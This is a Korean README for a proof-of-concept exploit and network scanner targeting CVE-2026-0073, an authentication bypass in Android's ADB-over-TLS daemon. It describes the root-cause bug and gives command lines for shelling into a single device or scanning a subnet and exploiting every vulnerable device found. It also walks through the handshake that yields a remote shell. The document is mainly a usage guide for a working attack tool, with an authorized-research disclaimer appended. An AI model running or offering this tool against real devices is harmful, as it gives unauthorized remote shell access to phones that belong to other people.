
CVE-2026-0073에 대한 PoC 도구로, Android 11+ 기기에서 adb over tcp가 활성화된 패치되지 않은 모든 기기에 즉각적인 제로 클릭 RCE를 허용합니다.
CVE-2026-0073에 대한 개념 증명 익스플로잇 및 네트워크 스캐너입니다. 이는 Android adbd의 ADB-over-TCP 인증 경로에서 발생하는 치명적인 제로클릭(사용자 상호작용 불필요) 원격 코드 실행 취약점입니다.
이 취약점은 adbd_tls_verify_cert()(daemon/auth.cpp)의 로직 버그로, EVP_PKEY_cmp()가 불리언 조건문으로 처리되는 데서 발생합니다. 저장된 RSA 키가 비-RSA TLS 클라이언트 인증서(EC P-256 또는 Ed25519)와 비교될 때, API는 -1(유형 불일치)을 반환하며, 이는 C/C++에서 참(truthy) 으로 간주됩니다. 이로 인해 교차 알고리즘 불일치가 성공적인 호스트 키 일치로 승격되어 인증을 완전히 우회하게 됩니다.
기술 세부 정보는 BARGHEST에서 확보했습니다.
기본 PoC 코드는 SecTestAnnaQuinn에서 가져왔습니다.
2026년 5월 Android 보안 게시판에서 패치되었습니다.
| 속성 | 세부 정보 |
|---|---|
| 공격 벡터 | 네트워크(인접 / 근접) |
| 상호작용 | 없음(제로클릭) |
| 획득 권한 | shell 사용자(uid=2000), SELinux u:r:shell:s0 |
| 익스플로잇 원시 동작 | ADB를 통한 원격 셸 접근 |
| CVSS | 치명적(9.8) |
shell 컨텍스트에서 공격자는 시스템 속성, 프로세스 상태, 로그, 알림을 검사할 수 있고, 패키지를 설치 및 제거할 수 있으며, 디버깅 가능한 애플리케이션에 대해 run-as를 사용할 수 있고, 후속 익스플로잇을 준비할 수 있습니다.
| 파일 | 용도 |
|---|---|
adb_tls_auth_bypass.py | 단일 대상 익스플로잇 PoC(SecTestAnnaQuinn 원본, 체크섬 패치 적용) |
adbt_scanner.py | 네트워크 스캐너 — 취약한 장치 탐지 + 익스플로잇 |
requirements.txt | Python 의존성 |
익스플로잇이 성공하려면 대상 Android 장치에 다음이 있어야 합니다:
adbd TCP 서비스)/data/misc/adb/adb_keys에 이전에 페어링된 RSA 호스트 키가 하나 이상 존재# 가상 환경 생성
uv venv
# 활성화
source .venv/bin/activate
# 의존성 설치
uv pip install -r requirements.txt
의존성:
선택 패키지가 없으면 스캐너는 정상적으로 동작을 축소합니다 — 경고를 표시하고 대체 방법(시스템 ip 명령, nmap, TCP 연결 스캔)으로 폴백합니다.
알려진 취약한 장치를 직접 공격합니다.
python3 adb_tls_auth_bypass.py 192.168.1.42 # 대화형 셸
python3 adb_tls_auth_bypass.py 192.168.1.42 5555 --cmd "id"
또는 스캐너를 통해:
python3 adbt_scanner.py --host 192.168.1.42 # 대화형 셸
python3 adbt_scanner.py --host 192.168.1.42 --cmd "id; getprop ro.product.model"
python3 adbt_scanner.py --host 192.168.1.42 --port 5580 --cmd "whoami"
로컬 네트워크에서 취약한 장치를 스캔하고 확인된 모든 대상을 익스플로잇합니다.
# 전체 스캔: mDNS → ARP → 포트 스캔 → ADB 프로브 → 익스플로잇
python3 adbt_scanner.py --scan
# 모든 취약한 장치에서 특정 명령 실행
python3 adbt_scanner.py --scan --cmd "id; getprop ro.build.version.security_patch"
# 정찰만 — 탐지하되 익스플로잇하지 않음
python3 adbt_scanner.py --scan --no-exploit
# 여러 포트 스캔
python3 adbt_scanner.py --scan --ports 5555,5580,5037
# 감지된 서브넷 재정의(멀티 호밍 호스트, 특정 범위)
python3 adbt_scanner.py --scan --subnet 192.168.2.0/24
# 느린 네트워크를 위한 타임아웃 조정
python3 adbt_scanner.py --scan --connect-timeout 5 --probe-timeout 10
# mDNS 수신 창 확장
python3 adbt_scanner.py --scan --mdns-timeout 60
# 특정 탐지 단계 건너뛰기
python3 adbt_scanner.py --scan --no-mdns # mDNS 건너뛰기, ARP만
python3 adbt_scanner.py --scan --no-arp # ARP 건너뛰기, mDNS만
--scan 네트워크에서 취약한 장치 스캔 + 익스플로잇
--host HOST 직접 단일 대상 익스플로잇
--port PORT --host 모드의 ADB 포트(기본값: 5555)
--cmd COMMAND 실행할 셸 명령
-v, --verbose 상세 로깅
--mdns-timeout SECONDS mDNS 수신 시간(기본값: 30)
--ports PORTS --scan 모드의 쉼표로 구분된 포트(기본값: 5555)
--subnet CIDR 감지된 서브넷 재정의(예: 192.168.2.0/24)
--connect-timeout SECONDS TCP 연결 타임아웃(기본값: 2.0)
--probe-timeout SECONDS ADB 프로브 타임아웃(기본값: 3.0)
--arp-timeout SECONDS ARP 스캔 타임아웃(기본값: 3)
--no-mdns mDNS 탐지 건너뛰기
--no-arp ARP 스캔 + 포트 스캔 건너뛰기
--no-exploit ADB 프로토콜 프로브 단계 후 중지
┌─────────────────────────────────────────────────────────────┐
│ 1. 서브넷 탐지 — netifaces → ip route → socket 트릭 │
│ 2. mDNS 리스너 — _adb-tls-connect._tcp(기본 30초) │
│ 3. ARP 스캔 — scapy.arping → nmap -sn │
│ 4. 포트 스캔 — 각 호스트:포트에 TCP 연결 │
│ 5. ADB 프로토콜 프로브 — CNXN 전송, 응답 분류 │
│ │
│ STLS → 취약(익스플로잇 진행) │
│ AUTH → 레거시 ADB 인증(이 CVE 아님) │
│ CNXN → 열림, 인증 없음(이미 접근 가능) │
│ NO_ADB → ADB 서비스 아님 │
│ │
│ 6. 익스플로잇 — TLS 업그레이드 → 인증 우회 → 셸 │
└─────────────────────────────────────────────────────────────┘
mDNS가 가장 정확한 식별 방법입니다: 무선 디버깅이 페어링되면 Android가 _adb-tls-connect._tcp를 명시적으로 브로드캐스트합니다. ARP 스캔 + 포트 스캔은 포괄적 폴백 역할을 합니다.
1단계 — 평문 ADB
클라이언트 → CNXN(payload="host::features=...")
장치 → STLS (TLS 업그레이드 필요)
2단계 — 교차 알고리즘 클라이언트 인증서를 사용한 TLS 1.3
클라이언트 → STLS 응답
클라이언트 → TLS 1.3 핸드셰이크 + EC P-256 클라이언트 인증서
장치가 adbd_tls_verify_cert() 호출:
known_evp = /data/misc/adb/adb_keys의 RSA 키
evp_pkey = 클라이언트 인증서의 EC P-256 키
EVP_PKEY_cmp(known_evp, evp_pkey) → -1(유형 불일치)
if (-1) → verified = true ← 버그: -1은 참(truthy)
3단계 — TLS 이후 ADB 서비스 계층
클라이언트가 장치 CNXN 소진(전송 이미 온라인)
호스트 CNXN 미전송(handle_new_connection 킥 유발 방지)
클라이언트 → OPEN(local_id, window=32MB, payload="shell:\x00")
장치 → OKAY → 셸 스트림 수립
shell(uid=2000) 컨텍스트를 제공합니다. 커널 침해, 루트 접근, 하드웨어 기반 키스토어 키는 추가적인 권한 상승이 필요합니다./data/misc/adb/adb_keys에 RSA 호스트 키가 하나 이상 있어야 합니다. 무선 디버깅이 활성화되었지만 한 번도 페어링되지 않은 초기화된 장치는 취약하지 않습니다.STLS가 아닌 AUTH로 응답하며 이 CVE의 영향을 받지 않습니다.EVP_PKEY_cmp 검사를 정확한 == 1 반환 값을 요구하도록 변경하는 수정 사항이 포함되어 있습니다.이 소프트웨어는 교육 및 승인된 보안 연구 목적으로만 제공됩니다. 이 저장소의 도구와 코드는 보안 전문가, 연구자, 장치 소유자가 다음을 수행하도록 돕기 위한 것입니다:
이 소프트웨어를 다음 용도로 사용해서는 안 됩니다:
무단 컴퓨터 시스템 접근은 대부분의 관할권에서 불법이며 형사 및 민사 처벌을 초래할 수 있습니다. 저자와 기여자는 이 소프트웨어 사용으로 인해 발생하는 오용, 손해 또는 법적 결과에 대해 책임을 지지 않습니다.
책임감 있게 사용하세요. 대상을 파악하세요. 허가를 받으세요.
CC0 1.0 Universal — 저작권 없음.
법이 허용하는 범위 내에서 저자는 이 저작물에 대한 모든 저작권 및 관련 권리 또는 인접 권리를 포기했습니다.
| 패키지 | 사용처 | 필수 여부 |
|---|
cryptography | 두 스크립트 모두(EC 인증서 생성, TLS) | 예 |
netifaces | 스캐너(서브넷 탐지) | 권장 |
zeroconf | 스캐너(mDNS 탐지) | 권장 |
scapy | 스캐너(ARP 스캔) | 권장 |